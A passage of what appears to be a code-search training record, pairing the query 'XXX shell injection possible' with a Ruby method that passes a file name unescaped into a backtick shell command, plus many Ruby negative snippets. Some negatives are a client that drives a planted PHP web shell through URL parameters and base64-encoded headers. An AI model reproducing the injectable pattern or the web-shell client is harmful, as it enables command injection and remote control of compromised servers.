"def api_endpoint\n @api_endpoint ||= ENDPOINTS[:sandbox][:api]\n end",
"def current_auth_api_key\n @current_auth_api_key ||= lambda do\n authenticate_knox_api_key!\n api_key\n end.call\n end",
"def context(status, header, body, request)\n @context = context_retriever(request)&.call(status, header, body)\n @data[:request_context] = @context[:context_id] \\\n if @context && @context[:context_id]\n @context\n end",
"def canvas_api(\n application_instance: current_application_instance,\n user: current_user,\n canvas_course: current_canvas_course,\n prefer_user: false\n )\n Integrations::CanvasApiSupport.new(user, canvas_course, application_instance, prefer_user).api\n end",
"def employee_wotc_info(employee_id)\n get(\"employees/#{employee_id}/wotc\")\n end",
"def tccapi_params\n params[:tccapi]\n end",
"def api_id\n ENV['UNLEASHED_API_ID']\n end",
"def get_api_version()\n return :v201502\n end",
"def context\n unless @instance_context\n @instance_context = WorkspaceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n @context.to_flat_hash\n end",
"def t_inv_2_t()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::T_Inv_2T::TInv2TRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def app_request\n Mogli::AppRequest.find(full_request_id, client)\n rescue Mogli::Client::ClientException => e\n # raises `Mogli::Client::ClientException: GraphMethodException: Unsupported get request.` when the app request has\n # been deleted already\n nil\n end",
"def find_negotiate_context(type)\n negotiate_context_list.find { |nc| nc.context_type == type }\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def rpc_current_workspace\n db_check\n { \"workspace\" => self.framework.db.workspace.name, \"workspace_id\" => self.framework.db.workspace.id }\n end"
] |
[
"0.5284229",
"0.52677834",
"0.52620333",
"0.518934",
"0.5134698",
"0.50523055",
"0.50523055",
"0.50523055",
"0.5028967",
"0.4981038",
"0.49371794",
"0.489742",
"0.48655948",
"0.48410177",
"0.4839949",
"0.48383677",
"0.4822754",
"0.4821109",
"0.47953126",
"0.47879517",
"0.47602266",
"0.47491753",
"0.47377673",
"0.47363082",
"0.47309884",
"0.47153446",
"0.4712337",
"0.47015303",
"0.46951512",
"0.46944237",
"0.46942562",
"0.46864176",
"0.46687156",
"0.46581554",
"0.46581554",
"0.46520558",
"0.46433544",
"0.46383116",
"0.46378282",
"0.46348244",
"0.46247998",
"0.46054247",
"0.45895743",
"0.45810077",
"0.45739004",
"0.45689952",
"0.45665714",
"0.45653123",
"0.45629296",
"0.45629078",
"0.45391008",
"0.4538952",
"0.45365924",
"0.45365703",
"0.45353165",
"0.4534923",
"0.4533892",
"0.45329362",
"0.4532592",
"0.4532592",
"0.45303458",
"0.4530102",
"0.4530102",
"0.4530102",
"0.45280993",
"0.4524032",
"0.45181394",
"0.4515322",
"0.45134312",
"0.45122725",
"0.4509684",
"0.45087245",
"0.45011628",
"0.44964224",
"0.44939125",
"0.44889045",
"0.44870114",
"0.4486467",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44859117",
"0.44855312"
] |
0.0
|
-1
|
XXX shell injection possible
|
def mimetype; @mimetype ||= `file -b --mime-type '#@fname'`.strip; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def shell(*) end",
"def shell_commands(cmd, args); end",
"def shell_commands(cmd, *args); end",
"def shell=(p0) end",
"def exec(cmd, *rest) end",
"def shell_wrap(cmd)\n return cmd unless @shell\n\n shell = @shell_command || \"$SHELL\"\n options = \" #{@shell_options}\" if @shell_options\n\n \"#{safe_string(cmd)} | #{shell}#{options}\"\n end",
"def shell_api=(_arg0); end",
"def shell_quote(str = \"\")\n @tmp_command_line ||= Cocaine::CommandLine.new(\"\")\n @tmp_command_line.send :shell_quote, str\n end",
"def cmd_shell(*args)\n\t\t\tpath = \"/bin/bash -i\"\n\t\t\tcmd_execute(\"-f\", path, \"-c\", \"-i\")\n\tend",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def quoted_shell_param s\n \"\\\"#{s}\\\"\"\n end",
"def sys(cmd, sensitive=[])\n sanitized = cmd.dup\n sensitive.each { |s| sanitized.gsub!(s, '...') }\n puts \"+ #{sanitized}\"\n\n system(cmd)\nend",
"def run_cmd(input); end",
"def original_run_command=(_arg0); end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\nend",
"def shell_split; end",
"def prepare_exec(text, command)\n prepare_exec_f(text) if command =~ /\\$f/\n prepare_exec_d(text) if command =~ /\\$d/\n prepare_exec_F(text) if command =~ /\\$F/\n prepare_exec_i(text) if command =~ /\\$i/\n prepare_exec_c(text) if command =~ /\\$c/\n prepare_exec_s(text) if command =~ /\\$s/\n end",
"def original_run_command; end",
"def build_shell_step(b, command)\n b.tag! \"hudson.tasks.Shell\" do\n b.command command.to_xs.gsub(\"&\", '&').gsub(\">\", '>') #.gsub(%r{\"}, '"').gsub(%r{'}, ''')\n end\n end",
"def before_shell\n end",
"def command_raw(args)\n\n end",
"def `(cmd) #` for highlighter\n case cmd\n #when /^roll\\ use/\n # can't run b/c of child shell\n when /^roll/\n cmd = cmd.sub('roll', 'ruby -Ilib bin/roll -')\n end\n stdout, stderr = shell.execute(cmd)\n#puts stdout\n#puts stderr\n @stdout = stdout\n @stderr = stderr\n raise \"#{stderr}\" if shell.status != 0\n return @stdout\nend",
"def extract_command; end",
"def shell_command(command, context='bash')\n fail \"shell_command api not supported on #{node.product_id}\" unless\n node.product_id[/N3K|N3K.*-F|N9K.*-F|N9K/]\n unless context == 'bash' || context == 'guestshell'\n fail \"Context must be either 'bash' or 'guestshell'\"\n end\n config(\"run #{context} #{command}\")\n end",
"def _unsafe_system(command)\n\n ### ###\n ### XXX - SECURITY ###\n ### ###\n\n if command =~ /(\\||\\;|\\`)/\n #raise \"Illegal character\"\n _log_error \"FATAL Illegal character in #{command}\"\n return\n end\n\n `#{command}`\n end",
"def sh(service) = execute(method: :shell, service: service)",
"def shell_api; end",
"def exec_cmd(cmd, str)\n return cmd.execute(@pl, str.split(\" \"))\nend",
"def escape_shell_string(str)\n str = str.gsub(/\\\\/, \"\\\\\\\\\\\\\")\n str = str.gsub(/\"/, \"\\\\\\\"\")\n str = str.gsub(/`/, \"\\\\`\")\n str = str.gsub(/;/, \"\\\\;\")\n str = str.gsub(/&/, \"\\\\&\")\n str = str.gsub(/\\|/, \"\\\\|\")\n str = str.gsub(/\\$/, \"\\\\$\")\n str = str.gsub(/ /, \"\\\\ \")\n str\n end",
"def sh cmd\n puts cmd\n put `#{cmd}`\nend",
"def execute_hook(command); end",
"def command_shell_string__from call, *args\n \"#{call} #{args.join \" \"}\"\n end",
"def sh(command)\n puts command\n system command unless dry_run\nend",
"def shellParse(input)\n #input.gsub!(\"\\\\\", \"\\\\\\\\\\\\\") # Allows '\\' chars in windows paths to be handled properly in shellwords\n argv = shellwords(input)\n return(argv) if !(rdi = argv.index('|') || argv.index('>>') || argv.index('>'))\n \n rda = argv.slice!(rdi..-1)\n begin\n if rda[0] == '|'\n raise MiqRedirectError.new(), \"Missing pipe target command\" if rda.length < 2\n $miqOut = IO.popen(rda[1..-1].join(\" \"), \"w\")\n else\n raise MiqRedirectError.new(), \"\\\"#{rda.join(' ')}\\\"\" if rda.length != 2\n $miqOut = File.new(rda[1], rda[0] == '>' ? \"w\" : \"a\")\n end\n rescue => err\n raise MiqRedirectError.new(), err.to_s\n end\n return(argv)\n end",
"def sh(cmd)\n `#{cmd}`\nend",
"def shell_command(command)\n command.map {|word| shell_single_word(word) }.join(' ')\n end",
"def do_shell(line)\n shell = ENV['SHELL']\n line ? write(%x(#{line}).strip) : system(shell)\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results = rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def system(cmd, *rest) end",
"def exploit\n end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\n end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\n end",
"def p4sh cmd\n sh \"#{cmd};\"\n end",
"def `(cmd)\n $shell_result\n end",
"def quoted_shell_params args\n args.map(&method(:quoted_shell_param))\n end",
"def commander _args\n \"commander _args;\" \n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def shell(command, output: false)\n command += ' > /dev/null 2>&1' if !output\n system(command)\nrescue => e\n lex(e, \"Failed to execute shell command: #{command}\")\nend",
"def process_argv!\n super\n if raw_script_name =~ /(\\w+)-([\\w\\-]+)/\n self.command = $2\n else\n self.command = rest.shift\n end\n end",
"def ex(cmd)\n puts cmd\n puts `#{cmd}`\nend",
"def run_cmd(cmd)\n\tend",
"def init_shell()\n\t\traise NotImplementedError\n\tend",
"def handle_shell(cmd)\n cmd = cmd[1, cmd.size - 2]\n result = \"\"\n export_vim\n IO.popen(\"sh -s\", 'w+') do |p|\n p.write cmd\n p.write \"\\nexit 0\\n\" # make shure to end it\n result = p.read\n end\n result.strip\n end",
"def write_shell(buf, shell = nil)\n\t\traise NotImplementedError\n\tend",
"def precmd(line)\n line\n end",
"def doCmd(cmd)\n puts cmd;\n puts `#{cmd}`;\nend",
"def exec(cmd)\n puts cmd\n `#{cmd}`\nend",
"def unquote\n\t\teach { |e| Concatenative::System.process e }\n\tend",
"def process_shell_command\n command_line.set_prompt ':!'\n cmd = command_line.get_command(prompt: ':!')[1..-1]\n execute_external_command pause: true do\n system cmd\n end\n rescue Interrupt\n ensure\n command_line.clear\n command_line.noutrefresh\n end",
"def escape_shell(str)\n case RUBY_PLATFORM\n when /mswin32|bccwin32/\n escape_shell_windows(str)\n else\n escape_shell_unix(str)\n end\n end",
"def split_commands(cmd_line); end",
"def run_command\n really_wrap_shell_code(invoke_pester_scriptblock)\n end",
"def call(*command); end",
"def record_shell_interaction(commands)\n ShellSimulator.new(commands).capture_output do\n load VIRTUAL_SHELL_PROGRAM\n end\nend",
"def sh(content)\n sanitize(Hpricot.parse(content.to_s).to_s)\n end",
"def capture_shell( command, opts = {} )\n accept = opts[ :accept ] || [ 0 ]\n opts = opts.merge( dryrun: true, coalesce: false, accept: [0] )\n args = sh_args( command, opts )\n capture_stream( args, host, :sh, opts )\n @commands << args\n [ accept[ rand( accept.length ) ], \"\" ]\n end",
"def system=(_arg0); end",
"def ps(*args) = execute(args: args)",
"def shebang_line=(_arg0); end",
"def exec\n binding.pry\n # command.run(*service.exec(args.command))\n end",
"def shell_command(cmd, timeout = 1800)\n # insert random marker\n strm = Rex::Text.rand_text_alpha(15)\n endm = Rex::Text.rand_text_alpha(15)\n\n # Send the shell channel's stdin.\n shell_write(\";'#{strm}'\\n\" + cmd + \"\\n'#{endm}';\\n\")\n\n etime = ::Time.now.to_f + timeout\n\n buff = \"\"\n # Keep reading data until the marker has been received or the 30 minture timeout has occured\n while (::Time.now.to_f < etime)\n res = shell_read(-1, timeout)\n break unless res\n timeout = etime - ::Time.now.to_f\n\n buff << res\n if buff.include?(endm)\n # if you see the end marker, read the buffer from the start marker to the end and then display back to screen\n buff = buff.split(/#{strm}\\r\\n/)[-1]\n buff = buff.split(endm)[0]\n buff.gsub!(/(?<=\\r\\n)PS [^>]*>/, '')\n return buff\n end\n end\n buff\n end",
"def shell_string!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n type = SHELL_STRING\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 20:5: '`' (~ ( '`' | '\\\\\\\\' ) | '\\\\\\\\' . )* '`'\n match( 0x60 )\n # at line 20:9: (~ ( '`' | '\\\\\\\\' ) | '\\\\\\\\' . )*\n while true # decision 4\n alt_4 = 3\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0.between?( 0x0, 0x5b ) || look_4_0.between?( 0x5d, 0x5f ) || look_4_0.between?( 0x61, 0xffff ) )\n alt_4 = 1\n elsif ( look_4_0 == 0x5c )\n alt_4 = 2\n\n end\n case alt_4\n when 1\n # at line 20:11: ~ ( '`' | '\\\\\\\\' )\n if @input.peek( 1 ).between?( 0x0, 0x5b ) || @input.peek( 1 ).between?( 0x5d, 0x5f ) || @input.peek( 1 ).between?( 0x61, 0xff )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n when 2\n # at line 20:27: '\\\\\\\\' .\n match( 0x5c )\n match_any\n\n else\n break # out of loop for decision 4\n end\n end # loop for decision 4\n match( 0x60 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end",
"def issue_command(str)\n puts str\nend",
"def handle_command_with_input(local_run_method, shell_command, input_query, response=nil)\n send(local_run_method, shell_command, {:pty => true}) do |channel, stream, data|\n if data =~ input_query\n if response\n logger.info \"#{data} #{\"*\"*(rand(10)+5)}\", channel[:host]\n channel.send_data \"#{response}\\n\"\n else\n logger.info data, channel[:host]\n response = ::Capistrano::CLI.password_prompt \"#{data}\"\n channel.send_data \"#{response}\\n\"\n end\n else\n logger.info data, channel[:host]\n end\n end\nend",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def really_wrap_posix_shell_code(code)\n my_command = <<-BASH\n echo \"Running as '$(whoami)'\"\n # create the modules folder, making sure it's done as current user (not root)\n mkdir -p #{config[:root_path]}/modules\n cd #{config[:root_path]}\n # Send the bash heredoc 'EOF' to the file kitchen_cmd.ps1 using the tool cat\n cat << 'EOF' > kitchen_cmd.ps1\n #!/usr/bin/env pwsh\n #{Util.outdent!(use_local_powershell_modules(code))}\n EOF\n chmod +x kitchen_cmd.ps1\n # Invoke the created kitchen_cmd.ps1 file using pwsh\n #{shell_cmd} ./kitchen_cmd.ps1\n BASH\n\n debug(Util.outdent!(my_command))\n Util.outdent!(my_command)\n end",
"def shq(s) # sh(1)-style quoting\n sprintf(\"'%s'\", s.gsub(/'/, \"'\\\\\\\\''\"))\nend",
"def shell_escape(s)\n s = s.to_s\n if s !~ /^[0-9A-Za-z+,.\\/:=@_-]+$/\n s = s.gsub(\"'\") { \"'\\\\''\" }\n s = \"'#{s}'\"\n end\n s\n end",
"def powershell_wrap(cmd)\n shell = @shell_command || \"powershell\"\n\n # Prevent progress stream from leaking into stderr\n script = \"$ProgressPreference='SilentlyContinue';\" + cmd\n\n # Encode script so PowerShell can use it\n script = script.encode(\"UTF-16LE\", \"UTF-8\")\n base64_script = Base64.strict_encode64(script)\n\n cmd = \"#{shell} -NoProfile -EncodedCommand #{base64_script}\"\n cmd\n end",
"def run_shell(command, env: {}, stdin_data: '')\n # If we're passed a string, convert it to an array beofre passing to capture3\n command = command.split unless command.is_a?(Array)\n Salus::ShellResult.new(*Open3.capture3(env, *command, stdin_data: stdin_data))\n end",
"def shell_init()\n\t\traise NotImplementedError\n\tend",
"def extend_shell(sh, prefix)\n logfile.write \"\\n\" + prefix\n sh.instance_variable_set :@prep_log, logfile\n sh.instance_variable_set :@prep_prefix, \"\\n#{prefix}\"\n sh.instance_variable_set :@stat_count, -1\n sh.instance_variable_set :@stat_every, 128\n sh.instance_variable_set :@home_path, nil\n\n def sh.home_path\n @home_path ||= exec_ignore_code(\"eval echo \\\"~#{@options[:user]}\\\"\").to_s.split(\"\\n\").first.to_s.strip\n end\n\n def sh.with_stat(status, stat_every = 128)\n if @stat_count > -1\n yield\n else\n @stat_count = 0\n @stat_every = stat_every < 1 ? 128 : stat_every\n print status\n yield\n print \"\\n\"\n @stat_count = -1\n @stat_every = 128\n end\n end\n\n def sh.exec(cmd, options = {}, &block)\n super(cmd, options) do |data, type|\n @prep_log.write data.gsub(\"\\n\", @prep_prefix)\n @prep_log.flush\n if @stat_count > -1\n @stat_count += data.length\n while @stat_count >= @stat_every\n @stat_count -= @stat_every\n print '.'\n end\n end\n if block\n block.call data, type\n else\n nil\n end\n end\n end\n\n def sh.stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { exec(cmd, options, &block) }\n end\n\n def sh.sudo_stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { sudo_exec(cmd, options, &block) }\n end\n\n def sh.apt_get(command)\n sudo_exec \"DEBIAN_FRONTEND=noninteractive apt-get -y -q #{command}\"\n end\n\n def sh.get_user_id(user)\n result = exec_ignore_code(\"id -u #{user} 2>/dev/null\").to_s.split(\"\\n\")\n result.any? ? result.first.strip.to_i : 0\n end\n\n def sh.host_info\n @host_info ||=\n begin\n results = exec('cat /etc/*-release').split(\"\\n\").map{|s| s.strip}.reject{|s| s == ''}\n info = {}\n\n results.each do |line|\n if line.include?('=')\n var,_,val = line.partition('=').map{|s| s.strip}\n val = val[1...-1] if val[0] == '\"' && val[-1] == '\"'\n var.upcase!\n info[var] = val\n end\n end\n\n info['ID'] = (info['ID'] || 'unknown').downcase.to_sym\n info['NAME'] ||= info['ID'].to_s\n info['VERSION'] ||= '??'\n info['PRETTY_NAME'] ||= \"#{info['NAME']} #{info['VERSION']}\"\n\n puts info['PRETTY_NAME']\n\n info\n end\n end\n\n sh\n end",
"def run_as_system(command)\n Strainer.ui.debug 'Using %x'\n %x{#{command}}\n end",
"def sh command_string\n with_80_columns do\n `2>&1 #{command_string}`\n end\nend",
"def shell_escape\n inspect.gsub(/\\\\(\\d{3})/) { $1.to_i(8).chr }\n end",
"def run_command(command)\n `#{command}`\nend",
"def expand_command(command)\n if match = /^\"(.+?)\"(?:\\s+(.*))?/.match(command)\n exe, arguments = match.captures\n exe = which(exe) and [ \"\\\"#{exe}\\\"\", arguments ].compact.join(\" \")\n elsif match = /^'(.+?)'(?:\\s+(.*))?/.match(command) and not Facter::Util::Config.is_windows?\n exe, arguments = match.captures\n exe = which(exe) and [ \"'#{exe}'\", arguments ].compact.join(\" \")\n else\n exe, arguments = command.split(/ /,2)\n if exe = which(exe)\n # the binary was not quoted which means it contains no spaces. But the\n # full path to the binary may do so.\n exe = \"\\\"#{exe}\\\"\" if exe =~ /\\s/ and Facter::Util::Config.is_windows?\n exe = \"'#{exe}'\" if exe =~ /\\s/ and not Facter::Util::Config.is_windows?\n [ exe, arguments ].compact.join(\" \")\n end\n end\n end",
"def execute_command(command)\n %x{#{command}}\n end",
"def handle_command_with_input(local_run_method, shell_command, input_query, response=nil)\n send(local_run_method, shell_command, {:pty => true}) do |channel, stream, data|\n if data =~ input_query\n if response\n logger.info \"#{data} #{\"*\"*(rand(10)+5)}\", channel[:host]\n channel.send_data \"#{response}\\n\"\n else\n logger.info data, channel[:host]\n response = ::Capistrano::CLI.password_prompt \"#{data}\"\n channel.send_data \"#{response}\\n\"\n end\n else\n logger.info data, channel[:host]\n end\n end\n end",
"def args\n Mysh.parse_args(cooked_body)\n end",
"def shell(task_family, ip, shell='bash')\n cmd = \"docker exec -i -t `#{docker_ps_task(task_family)}` #{shell}\"\n exec(ssh_cmd(ip) + \" '#{cmd}' \")\n end",
"def cmd; end",
"def initialize(shell)\n\t\tsuper\n\tend",
"def read_shell(length = nil, shell = nil)\n\t\traise NotImplementedError\n\tend",
"def exec(command, &block); end",
"def shell_escape(string)\n return string.gsub(/\\\\/, \"\\\\\\\\\\\\\").gsub(/\\\"/, \"\\\\\\\"\").gsub(/\\$/, \"\\\\\\$\").gsub(/\\`/, \"\\\\\\\\\\`\")\n end",
"def sh(command)\n provider.sh command\n end"
] |
[
"0.73802996",
"0.7371442",
"0.7233444",
"0.6852378",
"0.66496587",
"0.6626033",
"0.65987766",
"0.65598017",
"0.65476626",
"0.6547588",
"0.6547588",
"0.6516827",
"0.64856565",
"0.6439151",
"0.641212",
"0.6394465",
"0.6376933",
"0.63383424",
"0.6333282",
"0.6319847",
"0.63147736",
"0.62677854",
"0.62647986",
"0.6229663",
"0.6198652",
"0.6190787",
"0.61186475",
"0.6116237",
"0.6101053",
"0.6099324",
"0.6051065",
"0.60499567",
"0.6038709",
"0.6032235",
"0.60319453",
"0.60311294",
"0.6023443",
"0.60210013",
"0.60142416",
"0.60142416",
"0.60009015",
"0.5993933",
"0.599023",
"0.599023",
"0.59824914",
"0.5979547",
"0.59791315",
"0.59569806",
"0.59485567",
"0.59485567",
"0.59485567",
"0.5928412",
"0.5925025",
"0.5917409",
"0.59113336",
"0.59111047",
"0.59035105",
"0.59005076",
"0.58786815",
"0.58773285",
"0.5876438",
"0.58714354",
"0.58676684",
"0.5863761",
"0.5858314",
"0.5847775",
"0.58336854",
"0.58229905",
"0.58137524",
"0.5802417",
"0.580195",
"0.57924783",
"0.5787949",
"0.57818925",
"0.577973",
"0.57783526",
"0.57709396",
"0.57663995",
"0.57591903",
"0.57387245",
"0.5731473",
"0.5719239",
"0.5717845",
"0.57113457",
"0.5708762",
"0.5706358",
"0.57059985",
"0.5703256",
"0.57018423",
"0.5676982",
"0.56744504",
"0.5674408",
"0.56679",
"0.566679",
"0.5665725",
"0.5664758",
"0.5661409",
"0.5659459",
"0.5658526",
"0.5649864",
"0.56497204"
] |
0.0
|
-1
|
XXX shell injection possible
|
def md5; Digest::MD5.file(fname).hexdigest; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def shell(*) end",
"def shell_commands(cmd, args); end",
"def shell_commands(cmd, *args); end",
"def shell=(p0) end",
"def exec(cmd, *rest) end",
"def shell_wrap(cmd)\n return cmd unless @shell\n\n shell = @shell_command || \"$SHELL\"\n options = \" #{@shell_options}\" if @shell_options\n\n \"#{safe_string(cmd)} | #{shell}#{options}\"\n end",
"def shell_api=(_arg0); end",
"def shell_quote(str = \"\")\n @tmp_command_line ||= Cocaine::CommandLine.new(\"\")\n @tmp_command_line.send :shell_quote, str\n end",
"def cmd_shell(*args)\n\t\t\tpath = \"/bin/bash -i\"\n\t\t\tcmd_execute(\"-f\", path, \"-c\", \"-i\")\n\tend",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def quoted_shell_param s\n \"\\\"#{s}\\\"\"\n end",
